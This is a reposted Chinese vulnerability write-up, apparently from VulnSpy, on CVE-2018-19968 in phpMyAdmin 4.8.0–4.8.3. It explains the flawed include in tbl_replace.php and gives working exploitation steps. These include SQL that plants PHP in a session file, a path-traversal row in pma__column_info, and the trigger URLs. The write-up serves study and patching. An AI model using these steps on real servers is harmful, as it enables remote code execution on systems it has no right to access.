phpMyAdmin 4.8.0~4.8.3 Transformation 任意文件包含/远程代码执行漏洞

简介:

本文转载自:phpMyAdmin 4.8.0~4.8.3 Transformation 任意文件包含/远程代码执行漏洞 (需登录/PMASA-2018-6/CVE-2018-19968) | VULNSPY

2018年12月07日 phpMyAdmin 发布安全公告PMASA-2018-6修复了一个由Transformation特性引起的本地文件读取漏洞,影响4.8.0~4.8.3版本,CVE编号CVE-2018-19968。

Transformation是phpMyAdmin中的一个高级功能,通过Transformation可以对每个字段的内容使用不同的转换,每个字段中的内容将被预定义的规则所转换。比如我们有一个存有文件名的字段 ‘Filename’,正常情况下 phpMyAdmin 只会将路径显示出来。但是通过Transformation我们可以将该字段转换成超链接,我们就能直接在 phpMyAdmin 中点击并在浏览器的新窗口中看到这个文件。

通常情况下Transformation的规则存储在每个数据库的pma__column_info表中,而在phpMyAdmin 4.8.0~4.8.3版本中,由于对转换参数处理不当,导致了任意文件包含漏洞的出现。

了解更多关于Transformations的内容:Transformations - phpMyAdmin 5.0.0-dev documentation

VulnSpy 已为大家提供在线 phpMyAdmin 环境地址:https://www.vsplate.com/?github=vulnspy/phpmyadmin-4.8.1,点击又上角的START TO HACK按钮可进行在线测试。

漏洞细节来自:PHPMyAdmin multiple vulnerabilities - Sec Team Blog

漏洞细节

在文件tbl_replace.php中:

$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
[...]
// Apply Input Transformation if defined
if (!empty($mime_map[$column_name])
&& !empty($mime_map[$column_name]['input_transformation'])
) {
   $filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation'];
   if (is_file($filename)) {
      include_once $filename;
      $classname = Transformations::getClassName($filename);
      /** @var IOTransformationsPlugin $transformation_plugin */
      $transformation_plugin = new $classname();
      $transformation_options = Transformations::getOptions(
         $mime_map[$column_name]['input_transformation_options']
      );
      $current_value = $transformation_plugin->applyTransformation(
         $current_value, $transformation_options
      );
      // check if transformation was successful or not
      // and accordingly set error messages & insert_fail
      if (method_exists($transformation_plugin, 'isSuccess')
&& !$transformation_plugin->isSuccess()
) {
         $insert_fail = true;
         $row_skipped = true;
         $insert_errors[] = sprintf(
            __('Row: %1$s, Column: %2$s, Error: %3$s'),
            $rownumber, $column_name,
            $transformation_plugin->getError()
         );
      }
   }
}

拼接到$filename的变量$mime_map[$column_name]['input_transformation']来自于数据表pma__column_info中的input_transformation字段,因为数据库中的内容用户可控,从而产生了任意文件包含漏洞。

漏洞利用

  1. 创建数据库,并将PHP代码写入SESSION文件中
CREATE DATABASE foo;
CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';

  1. 访问http://pma.vsplate.me/chk_rel.php?fixall_pmadb=1&db=foo在数据库foo中生成phpMyAdmin的配置表。

  1. 将篡改后的Transformation数据插入表pma__column_info中:

将sess_***中的***替换成你的会话ID,即COOKIE中phpMyAdmin的值

INSERT INTO `pma__column_info`SELECT '1', 'foo', 'bar', 'baz', 'plop',
'plop', 'plop', 'plop',
'../../../../../../../../tmp/sess_***','plop';

  1. 访问http://pma.vsplate.me/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1,如果利用成功将会自动包含含有恶意代码的SESSION文件

目录
相关文章
|
SQL 安全 关系型数据库
Sqlmap2021 -- Referer注入
Sqlmap2021 -- Referer注入
307 1
|
安全 Cloud Native Devops
【Aquasec翻译计划】微隔离:它的工作原理、类型、用例等
【Aquasec翻译计划】微隔离:它的工作原理、类型、用例等
664 2
|
域名解析 网络协议 Linux
解决Linux环境中ping域名ping不通,ping ip地址可以ping通问题
解决Linux环境中ping域名ping不通,ping ip地址可以ping通问题
解决Linux环境中ping域名ping不通,ping ip地址可以ping通问题
|
4月前
|
数据采集 NoSQL API
零基础搭建免费IP代理池:从原理到实战的保姆级指南
本指南全面解析了代理池的核心价值、技术架构与实践应用。从突破反爬限制到提升访问效率,代理池在数据采集领域至关重要。内容涵盖环境搭建、核心配置解析、调度系统实现、运维优化及安全加固等环节。通过双进程架构与三重验证算法,确保代理稳定性;同时提供性能基准测试与典型问题解决方案。最后强调合规使用与混合架构部署策略,助力构建高可用、低延迟的专业级代理池,适用于大规模生产环境。
1121 6
|
4月前
|
搜索推荐 开发者 UED
如何检测301重定向是否成功:完整指南
301重定向是网站维护与SEO优化的关键技术,用于将旧URL永久指向新URL。本文详解了301重定向的定义、检测必要性及6种检测方法(如浏览器开发者工具、cURL命令、在线工具等),并提供了常见问题排查和最佳实践建议,助您确保重定向成功实施,提升用户体验与搜索引擎优化效果。
290 19
|
开发者
Flutter笔记:Widgets Easier组件库(11)- 使用提示吐丝(Tip Toasts)
Flutter笔记:Widgets Easier组件库(11)- 使用提示吐丝(Tip Toasts)
147 1
|
存储 云安全 安全
云端数据加密实践
【7月更文挑战第12天】云端数据加密是保障云端数据安全的重要手段。通过选择合适的加密方式、加强加密密钥管理、实施静态与动态数据加密、采用加密信息检索技术和应用层加密组件等措施,可以有效地保护云端数据的安全。未来,随着技术的不断进步和应用需求的多样化,云端数据加密技术将继续发挥其重要作用,为各种应用场景提供强大的安全保障。
|
XML 监控 安全
OWASP-TOP 10 漏洞概述
OWASP-TOP 10 漏洞是指由开放式Web应用程序安全项目(OWASP)发布的,关于Web应用程序最可能、最常见、最危险的十大安全漏洞的列表。
994 0
|
数据采集 数据可视化
读软件研发效能度量规范总结
在工作中,作者探索了软件研发效能度量,参考了《软件研发效能度量规范》这一行业标准。该规范旨在帮助企业和团队通过定义指标来衡量和提升研发效率、效果和卓越能力。关键步骤包括理解指标(如效率、质量和成本),选择适用于团队的指标,以及按照适用性、系统性、可靠性和持续性的原则收集和分析数据。通过度量,团队可以识别问题,制定改进策略,并通过可视化工具进行汇报和决策。
612 0
|
安全 数据可视化 网络安全
微隔离实施五步法,让安全防护转起来
零信任安全模型起始于2010年,其核心原则是“最小权限”,强调预防为主。微隔离是实现零信任的关键实践,经历了从NGFW到SDP,再到CARTA框架的发展,最终NIST将其定义为解决方案,确认IAM、SDP和微隔离为落地实践。美国政府的行政令推动了零信任架构的应用,其中微隔离贯穿安全的各个层面。微隔离技术包括云平台原生、第三方虚拟化防火墙和主机Agent三种实现方式,已进入成熟期。实施微隔离涉及五个步骤:定义资产、梳理业务模型、实施保护、细化安全策略和持续监控。检验微隔离效果需通过攻防演练。企业应结合自身需求制定适合的微隔离建设方案。